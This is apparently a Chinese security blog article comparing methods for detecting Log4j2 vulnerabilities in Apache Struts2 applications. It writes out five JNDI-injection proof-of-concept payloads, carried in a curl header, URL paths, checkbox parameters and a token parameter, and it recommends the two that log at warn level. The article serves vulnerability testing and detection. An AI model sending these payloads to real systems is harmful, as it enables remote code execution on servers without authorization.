Struts2框架下Log4j2漏洞檢測方法分析與總結
Part1 前言
Log4j2漏洞出現有大半年的時間了,這個核彈級別的漏洞危害很大,但是這個漏洞檢測起來卻很麻煩,因為黑盒測試無法預判網站哪個應用功能在后臺調用了log4j2記錄日志功能。目前通用的做法就是使用burpsuite插件進行被動掃描,原理就是把所有與用戶交互參數都用各種log4j2檢測payload測試一遍,然后觀察DNSlog中有沒有訪問記錄。這個漏洞檢測方法和SQL注入、XSS漏洞有點像,常規方法很難完全發現漏洞,有時候就連研發人員自己也搞不清楚哪些應用功能點調用了log4j2,所以這個漏洞在相當長的時間里會一直存在。
在這里面要特別說明一下,burpsuite的被動插件掃描的方式,并不能完全發現Log4j2漏洞,因為有的log4j2漏洞需要特定的條件才能觸發,有時候需要手工構造一個特殊URL路徑,有時候需要發送一些框架特有的參數、消息頭等等,有的框架如Struts2、Spring等需要構造特殊的數據包才能觸發log4j2漏洞。網上有很多Struts2下log4j2漏洞檢測專項方法,但是貌似并沒有引起大家的重視。我大概有4、5年沒看過Struts2框架的代碼了,但畢竟對Struts2漏洞有感情了,所以就各種搜索把網上的各種檢測方式匯總起來,搭建環境,跟蹤代碼,對各種檢測方法進行對比,最后給出2個可靠好用的檢測Struts2框架下Log4j2漏洞的方法。
Part2 技術研究過程
- Struts2與log4j2日志級別配置
如下圖所示,這是log4j2組件中關于日志級別的定義。日志輸出級別共有8個,按照優先級從低到高為:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。

接下來還要重點關注Struts2框架中log4j2.xml文件的配置,主要看<Logger name="org.apache.struts2" level="info"/>這部分內容,因為幾乎所有的Struts2框架中的log4j2代碼執行漏洞,都在org.apache.struts2路徑下,觀察其配置的是info級別、還是warn級別,還是debug級別。這個級別對應的數字值越高,則越有可能觸發log4j2漏洞。如果Logger 配置的是info級別,由于info優先級比debug高,所以debug級別的log4j2的各種POC都沒法執行,這也是為什么同樣的log4j2的POC,有的網友本地環境能測試成功,有的不能成功,這是因為對于org.apache.struts2路徑日志級別配置有所不同。
- Struts2攔截器簡介
要想理解Struts2框架下log4j2漏洞檢測方法,首先需要了解一下Struts2的攔截器。當時Log4j2漏洞剛爆出的時候,我就感覺Struts2的攔截器中應該會有log4j2漏洞,因為所有的用戶請求都會經過攔截器去處理,攔截器棧上那么多攔截器實現,其中肯定有各種log輸出功能,所以應該會有漏洞。

1. 請求先到達Filter中央控制器;2. 然后為Action創建代理類;3. 將各個服務存放在攔截器中,執行完攔截器后再去執行action類,action類調用service,再調用dao;4. 得到結果字符串,創建result對象;5. 轉向相應的視圖。
歸納為一點:Struts2幾乎所有的請求,都會經過攔截器棧的處理,攔截器棧上有各種各樣的攔截器,而有的攔截器調用了log4j2輸出日志功能,我們只需構造符合要求的http請求,就會觸發Log4j2漏洞。接下來看看網上收集到的5個漏洞檢測poc,挨個看一下,從中挑選比較好的檢測POC,以便在日常工作中事半功倍。
- 方法1:靜態文件If-Modified-Since頭
此檢測payload摘自p1ay2win 天玄安全實驗室原創,檢測payload如下:
curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js
檢測原理:warn級別,當用戶訪問Struts2框架的靜態文件時,如果請求頭If-Modified-Since的值為非Date型,將會觸發log.warn(),導致log4j2代碼執行漏洞。

優缺點:這是我個人比較推薦的一種檢測方法。首先,它的日志級別是Log.warn(),比log.debug()寫法優先級要高,因此成功率更大一些。其次/struts/utils.js 這個文件是多數Struts2框架內置的靜態文件。但缺點是,不是所有版本的struts2 jar包中都存在這個靜態文件,很多低版本的jar包中并不存在,所以這個方法需要總結出能夠涵蓋多個不同版本的Struts2框架的靜態文件路徑才行。
如下圖所示,2.0.11版本jar包中不存在utils.js文件:

如下圖所示,而2.5.13版本的jar包中存在utils.js這個文件:
- 方法2:檢查請求參數長度
此檢測payload摘自p1ay2win 天玄安全實驗室原創,檢測payload如下:
http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123
檢測原理:debug級別,訪問一個存在的Struts2框架的action地址,Struts2框架會檢查請求參數名的長度,若長度超過默認的100個字符,請求參數名則會輸出到debug日志中,觸發log4j2漏洞。
優缺點:這個方法測試效果不錯,更重要的是同時支持GET請求和POST請求,在將來遇到WAF設備攔截時,可以用更多的手段去繞過waf設備攔截。缺點是日志級別的優先級是debug。

- 方法3:檢查請求路徑觸發
此檢測payload摘自p1ay2win 天玄安全實驗室原創,檢測payload如下:
http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
本地測試怎么都測試不成功,發現需要將rmi替換成ldap
http://localhost:8080/helloworld_war/$%7Bjndi:ldap:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
檢測原理:warn級別,Struts2框架下URL路徑的action名如果不在[a-zA-Z0-9._!/\-]范圍以內,將會觸發 LOG.warn(),導致log4j2代碼執行漏洞。
優缺點:第一眼看到上述POC,就感覺檢測payload中那幾個反斜杠肯定會導致POC不能正常執行。但是文章作者給出了一個很好的解決方法:“在請求路徑中兩個相鄰的/會被轉換為一個/,將其中一個/替換為${::-/}可防止被轉換”。缺點是有的版本Struts2框架中DefaultActionMapper類中沒有cleanupActionName方法,導致此流程的log4j2不能用。

- 方法4:checkbox 攔截器
此檢測方法摘自安全客saound的檢測方法,檢測payload如下:
http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=a&__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=b
檢測原理:debug級別,這個檢測方法,基于struts2自帶的攔截器,當請求參數名以 __checkbox_ 開始并且重復定義時,會進入log4j2記錄分支,執行LOG.debug()執行,故構造請求如下:
優缺點:方法挺好的,唯一的缺點就是日志級別是debug級別的。
- 方法5:struts.token.name
此payload收集于網絡,原創作者不知道是誰,檢測payload如下:
http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}'
優缺點:debug級別,這個payload看起來不錯,構造簡單,編寫腳本去掃描也比較省事。通過struts.token.name可知,我猜觸發點應該是在token攔截器中。我本地經過測試,大致判斷應該是log.debug級別的,這里就不詳細分析了。
綜上所述,最終通過對比這5個檢測payload,個人結論是方法1:獲取靜態文件If-Modified-Since頭”這種方法成功率更高一些,其次是方法3:檢測請求路徑觸發。目前放出的檢測POC,也僅有這兩個payload是WARN級別的,所以它是成功率較高的檢測POC。缺點是,對于不了解Struts2框架的新手,定位靜態文件是個麻煩事,寫掃描規則也麻煩。
- 編寫檢測工具融合payload
為了避免人為記錄DNSLog的嫌疑,我沒有在工具中使用DNSLog的api接口,大家需要手工設置自己的log4j2 DNSlog地址。注意,我寫的工具這里的“Log4j2 DNSLog地址:”這個檢測功能,只針對Struts2框架下的log4j2檢測功能,并不通用所有的log4j2漏洞檢測。

Part3 總結
1. 網上的針對Struts2框架下log4j2漏洞的檢測POC,觸發點目前看來就是2種,log.warn()或者是log.debug(),那么優先選擇觸發點在log.warn()的檢測payload。
2. 了解一下log4j2漏洞的原理,可以避免在實戰中做很多的無用功。使用“靜態文件If-Modified-Since頭”這種檢測方法時,要注意Struts2框架自帶靜態文件的正確URL位置,不要生搬硬套檢測POC。